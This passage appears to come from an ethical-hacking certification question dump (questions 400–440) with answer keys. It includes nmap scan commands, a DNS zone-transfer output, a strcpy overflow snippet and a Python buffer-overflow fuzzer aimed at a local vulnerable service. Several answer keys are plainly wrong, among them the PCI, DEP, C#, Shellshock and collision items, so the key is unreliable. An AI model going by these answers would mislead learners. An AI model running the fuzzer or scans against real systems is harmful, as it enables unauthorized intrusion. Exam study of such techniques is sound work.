51857/udp open|filtered unknown

54358/udp open|filtered unknown

56228/udp open|filtered unknown

57598/udp open|filtered unknown

59488/udp open|filtered unknown

60027/udp open|filtered unknown

A.
nmap -sN -Ps -T4 192.168.1.1

B.
nmap -sT -sX -Pn -p 1-65535 192.168.1.1

C.
nmap -sS -Pn 192.168.1.1

D.
nmap -sS -sU -Pn -p 1-65535 192.168.1.1

Answer: D
Explanation:

QUESTION NO: 400

Which Metasploit Framework tool can help penetration tester for evading Anti-virus Systems?

A.
msfpayload

B.
msfcli

C.
msfencode

D.
msfd

Answer: C
Explanation:

QUESTION NO: 401

You want to do an ICMP scan on a remote computer using hping2. What is the proper syntax?

A.
hping2 host.domain.com

B.
hping2 --set-ICMP host.domain.com

C.
hping2 -i host.domain.com

D.
hping2 -1 host.domain.com

Answer: D
Explanation:

QUESTION NO: 402

Which of the following is a passive wireless packet analyzer that works on Linux-based systems?

A.
Burp Suite

B.
OpenVAS

C.
tshark

D.
Kismet

Answer: D
Explanation:

QUESTION NO: 403

The establishment of a TCP connection involves a negotiation called 3 way handshake. What type of message sends the client to the server in order to begin this negotiation?

A.
RST

B.
ACK

C.
SYN-ACK

D.
SYN

Answer: D
Explanation:

QUESTION NO: 404

Internet Protocol Security IPSec is actually a suite of protocols. Each protocol within the suite provides different functionality. Collective IPSec does everything except.

A.
Protect the payload and the headers

B.
Authenticate

C.
Encrypt

D.
Work at the Data Link Layer

Answer: D
Explanation:

QUESTION NO: 405

Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?

A.
A biometric system that bases authentication decisions on behavioral attributes.

B.
A biometric system that bases authentication decisions on physical attributes.

C.

An authentication system that creates one-time passwords that are encrypted with secret keys.

D.
An authentication system that uses passphrases that are converted into virtual passwords.

Answer: C
Explanation:

QUESTION NO: 406

An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?

A.
Only using OSPFv3 will mitigate this risk.

B.
Make sure that legitimate network routers are configured to run routing protocols with authentication.

C.
Redirection of the traffic cannot happen unless the admin allows it explicitly.

D.
Disable all routing protocols and only use static routes.

Answer: B
Explanation:

QUESTION NO: 407

Look at the following output. What did the hacker accomplish?

; <<>> DiG 9.7.-P1 <<>> axfr domam.com @192.168.1.105

;; global options: +cmd

domain.com. 3600 IN SOA srv1.domain.com. hostsrv1.domain.com. 131 900 600 86400 3600

domain.com. 600 IN A 192.168.1.102

domain.com. 600 IN A 192.168.1.105

domain.com. 3600 IN NS srv1.domain.com.

domain.com. 3600 IN NS srv2.domain.com.

vpn.domain.com. 3600 IN A 192.168.1.1

server.domain.com. 3600 IN A 192.168.1.3

office.domain.com. 3600 IN A 192.168.1.4

remote.domain.com. 3600 IN A 192.168. 1.48

support.domain.com. 3600 IN A 192.168.1.47

ns1.domain.com. 3600 IN A 192.168.1.41

ns2.domain.com. 3600 IN A 192.168.1.42

ns3.domain.com. 3600 IN A 192.168.1.34

ns4.domain.com. 3600 IN A 192.168.1.45

srv1.domain.com. 3600 IN A 192.168.1.102

srv2.domain.com. 1200 IN A 192.168.1.105

domain.com. 3600 INSOA srv1.domain.com. hostsrv1.domain.com. 131 900 600 86400 3600

;; Query time: 269 msec

;; SERVER: 192.168.1.105#53(192.168.1.105)

;; WHEN: Sun Aug 11 20:07:59 2013

;; XFR size: 65 records (messages 65, bytes 4501)

A.
The hacker used whois to gather publicly available records for the domain.

B.
The hacker used the "fierce" tool to brute force the list of available domains.

C.
The hacker listed DNS records on his own domain.

D.
The hacker successfully transfered the zone and enumerated the hosts.

Answer: D

Explanation:

QUESTION NO: 408

What network security concept requires multiple layers of security controls to be placed throughout an IT infrastructure, which improves the security posture of an organization to defend against malicious attacks or potential vulnerabilities?

A.
Security through obscurity

B.
Host-Based Intrusion Detection System

C.
Defense in depth

D.
Network-Based Intrusion Detection System

Answer: C
Explanation:

QUESTION NO: 409

Scenario:

Victim opens the attacker's web site.

Attacker sets up a web site which contains interesting and attractive content like 'Do you want to make $1000 in a day?'.

Victim clicks to the interesting and attractive content url.

Attacker creates a transparent 'iframe' in front of the url which victim attempt to click, so victim thinks that he/she clicks to the 'Do you want to make $1000 in a day?' url but actually he/she clicks to the content or url that exists in the transparent 'iframe' which is setup by the attacker.

What is the name of the attack which is mentioned in the scenario?

A.
HTTP Parameter Pollution

B.
HTML Injection

C.
Session Fixation

D.
ClickJacking Attack

Answer: D

Explanation:

QUESTION NO: 410

If there is an Intrusion Detection System (IDS) in intranet, which port scanning technique cannot be used?

A.
Spoof Scan

B.
TCP Connect scan

C.
TCP SYN

D.
Idle Scan

Answer: C

Explanation:

QUESTION NO: 411

What is correct about digital signatures?

A.
A digital signature cannot be moved from one signed document to another because it is the hash of the original document encrypted with the private key of the signing party.

B.

Digital signatures may be used in different documents of the same type.

C.
A digital signature cannot be moved from one signed document to another because it is a plain hash of the document content.

D.
Digital signatures are issued once for each user and can be used everywhere until they expire.

Answer: A
Explanation:

QUESTION NO: 412

What is not a PCI compliance recommendation?

A.
Limit access to card holder data to as few individuals as possible.

B.
Use encryption to protect all transmission of card holder data over any public network.

C.
Rotate employees handling credit card transactions on a yearly basis to different departments.

D.
Use a firewall between the public network and the payment card data.

Answer: B
Explanation:

QUESTION NO: 413

Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra security and is ideal for observing sensitive network segments?

A.
Network-based intrusion detection system (NIDS)

B.
Host-based intrusion detection system (HIDS)

C.
Firewalls

D.
Honeypots

Answer: A
Explanation:

QUESTION NO: 414

An attacker is using nmap to do a ping sweep and a port scanning in a subnet of 254 addresses.

In which order should he perform these steps?

A.
The sequence does not matter. Both steps have to be performed against all hosts.

B.
First the port scan to identify interesting services and then the ping sweep to find hosts responding to icmp echo requests.

C.
First the ping sweep to identify live hosts and then the port scan on the live hosts. This way he saves time.

D.
The port scan alone is adequate. This way he saves time.

Answer: C
Explanation:

QUESTION NO: 415

What mechanism in Windows prevents a user from accidentally executing a potentially malicious batch (.bat) or PowerShell (.ps1) script?

A.
User Access Control (UAC)

B.
Data Execution Prevention (DEP)

C.
Address Space Layout Randomization (ASLR)

D.
Windows firewall

Answer: B

Explanation:

QUESTION NO: 416

Which of the following areas is considered a strength of symmetric key cryptography when compared with asymmetric algorithms?

A.
Scalability

B.
Speed

C.
Key distribution

D.
Security

Answer: B

Explanation:

QUESTION NO: 417

By using a smart card and pin, you are using a two-factor authentication that satisfies

A.
Something you know and something you are

B.
Something you have and something you know

C.
Something you have and something you are

D.
Something you are and something you remember

Answer: B
Explanation:

QUESTION NO: 418

What is the difference between the AES and RSA algorithms?

A.
Both are asymmetric algorithms, but RSA uses 1024-bit keys.

B.
RSA is asymmetric, which is used to create a public/private key pair; AES is symmetric, which is used to encrypt data.

C.
Both are symmetric algorithms, but AES uses 256-bit keys.

D.
AES is asymmetric, which is used to create a public/private key pair; RSA is symmetric, which is used to encrypt data.

Answer: B
Explanation:

QUESTION NO: 419

Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of a built-in-bounds checking mechanism?

Code:

```
#include <string.h>

int main(){
```

```
 char buffer[8];

 strcpy(buffer, ""1111111111111111111111111111"");

}
```

Output:

Segmentation fault

A.
C#

B.
Python

C.
Java

D.
C++

Answer: A
Explanation:

QUESTION NO: 420

The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. Also he needs to permit all FTP traffic to the rest of the network and deny all other traffic. After he applied his ACL configuration in the router nobody can access to the ftp and the permitted hosts cannot access to the Internet. According to the next configuration what is happening in the network?

```
access-list 102 deny tcp any any

access-list 104 permit udp host 10.0.0.3 any

access-list 110 permit tcp host 10.0.0.2 eq www any

access-list 108 permit tcp any eq ftp any
```

A.
The ACL 110 needs to be changed to port 80

B.

The ACL for FTP must be before the ACL 110

C.
The first ACL is denying all TCP traffic and the other ACLs are being ignored by the router

D.
The ACL 104 needs to be first because is UDP

Answer: C
Explanation:

QUESTION NO: 421

Bob received this text message on his mobile phone: ""Hello, this is Scott Smelby from the Yahoo Bank. Kindly contact me for a vital transaction on: scottsmelby@yahoo.com"". Which statement below is true?

A.
This is probably a legitimate message as it comes from a respectable organization.

B.
Bob should write to scottsmelby@yahoo.com to verify the identity of Scott.

C.
This is a scam as everybody can get a @yahoo address, not the Yahoo customer service employees.

D.
This is a scam because Bob does not know Scott.

Answer: C
Explanation:

QUESTION NO: 422

In an internal security audit, the white hat hacker gains control over a user account and attempts to acquire access to another account's confidential files and information. How can he achieve this?

A.
Port Scanning

B.
Hacking Active Directory

C.
Privilege Escalation

D.
Shoulder-Surfing

Answer: C
Explanation:

QUESTION NO: 423

Which of the following will perform an Xmas scan using NMAP?

A.
nmap -sA 192.168.1.254

B.
nmap -sP 192.168.1.254

C.
nmap -sX 192.168.1.254

D.
nmap -sV 192.168.1.254

Answer: C
Explanation:

QUESTION NO: 424

As an Ethical Hacker you are capturing traffic from your customer network with Wireshark and you need to find and verify just SMTP traffic. What command in Wireshark will help you to find this kind of traffic?

A.
request smtp 25

B.

tcp.port eq 25

C.
smtp port

D.
tcp.contains port 25

Answer: B
Explanation:

QUESTION NO: 425

Which service in a PKI will vouch for the identity of an individual or company?

A.
KDC

B.
CA

C.
CR

D.
CBC

Answer: B
Explanation:

QUESTION NO: 426

In IPv6 what is the major difference concerning application layer vulnerabilities compared to IPv4?

A.
Implementing IPv4 security in a dual-stack network offers protection from IPv6 attacks too.

B.
Vulnerabilities in the application layer are independent of the network layer. Attacks and mitigation techniques are almost identical.

C.
Due to the extensive security measures built in IPv6, application layer vulnerabilities need not be addresses.

D.
Vulnerabilities in the application layer are greatly different from IPv4.

Answer: B
Explanation:

QUESTION NO: 427

In which phase of the ethical hacking process can Google hacking be employed? This is a technique that involves manipulating a search string with specific operators to search for vulnerabilities.

Example:

allintitle: root passwd

A.
Maintaining Access

B.
Gaining Access

C.
Reconnaissance

D.
Scanning and Enumeration

Answer: C
Explanation:

QUESTION NO: 428

Which type of security feature stops vehicles from crashing through the doors of a building?

A.

Turnstile

B.
Bollards

C.
Mantrap

D.
Receptionist

Answer: B
Explanation:

QUESTION NO: 429

.....is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hot spot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a fraudulent web site and luring people there.

Fill in the blank with appropriate choice.

A.
Collision Attack

B.
Evil Twin Attack

C.
Sinkhole Attack

D.
Signal Jamming Attack

Answer: B
Explanation:

QUESTION NO: 430

Which access control mechanism allows for multiple systems to use a central authentication server (CAS) that permits users to authenticate once and gain access to multiple systems?

A.
Role Based Access Control (RBAC)

B.
Discretionary Access Control (DAC)

C.
Windows authentication

D.
Single sign-on

Answer: D

Explanation:

QUESTION NO: 431

What attack is used to crack passwords by using a precomputed table of hashed passwords?

A.
Brute Force Attack

B.
Hybrid Attack

C.
Rainbow Table Attack

D.
Dictionary Attack

Answer: C

Explanation:

QUESTION NO: 432

Your next door neighbor, that you do not get along with, is having issues with their network, so he yells to his spouse the network's SSID and password and you hear them both clearly. What do

you do with this information?

A.
Nothing, but suggest to him to change the network's SSID and password.

B.
Sell his SSID and password to friends that come to your house, so it doesn't slow down your network.

C.
Log onto to his network, after all it's his fault that you can get in.

D.
Only use his network when you have large downloads so you don't tax your own network.

Answer: A

Explanation:

QUESTION NO: 433

Shellshock had the potential for an unauthorized user to gain access to a server. It affected many internet-facing services, which OS did it not directly affect?

A.
Windows

B.
Unix

C.
Linux

D.
OS X

Answer: D

Explanation:

QUESTION NO: 434

You want to analyze packets on your wireless network. Which program would you use?

A.
Wireshark with Airpcap

B.
Airsnort with Airpcap

C.
Wireshark with Winpcap

D.
Ethereal with Winpcap

Answer: A
Explanation:

QUESTION NO: 435

It has been reported to you that someone has caused an information spillage on their computer. You go to the computer, disconnect it from the network, remove the keyboard and mouse, and power it down. What step in incident handling did you just complete?

A.
Containment

B.
Eradication

C.
Recovery

D.
Discovery

Answer: A
Explanation:

QUESTION NO: 436

#!/usr/bin/python

import socket

```
buffer=[“A”]

counter=50

while len(buffer)<=100:

buffer.apend (“A”*counter)

counter=counter+50

commands=[“HELP”,“STATS.”,“RTIME.”,“LTIME.”,“SRUN.”,“TRUN.”,“GMON.”,“GDOG.”,“KSTET.”,
“GTER.”,“HTER.”,“LTER.”,“KSTAN.”]

for command in commands:

 for buffstring in buffer:

 print “Exploiting” +command+“:”+str(len(buffstring))

 s=socket.socket(socket.AF_INET.socket.SOCK_STREAM)

 s.connect(('127.0.0.1',9999))

 s.recv(50)

 s.send(command+buffstring)

 s.close()
```

What is the code written for?

A.
Buffer Overflow

B.
Encryption

C.
Bruteforce

D.
Denial-of-service (Dos)

Answer: A

Explanation:

QUESTION NO: 437

An enterprise recently moved to a new office and the new neighborhood is a little risky. The CEO wants to monitor the physical perimeter and the entrance doors 24 hours. What is the best option to do this job?

A.
Use fences in the entrance doors.

B.
Install a CCTV with cameras pointing to the entrance doors and the street.

C.
Use an IDS in the entrance doors and install some of them near the corners.

D.
Use lights in all the entrance doors and along the company's perimeter.

Answer: B

Explanation:

QUESTION NO: 438

Which of the following is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet.

A.
Heartbleed Bug

B.
POODLE

C.
SSL/TLS Renegotiation Vulnerability

D.
Shellshock

Answer: A

Explanation:

QUESTION NO: 439

There are several ways to gain insight on how a cryptosystem works with the goal of reverse engineering the process. A term describes when two pieces of data result in the same value is?

A.
Collision

B.
Collusion

C.
Polymorphism

D.
Escrow

Answer: C

Explanation:

QUESTION NO: 440

Which of the following security policies defines the use of VPN for gaining access to an internal corporate network?

A.
Network security policy

B.
Remote access policy

C.
Information protection policy

D.
Access control policy

Answer: B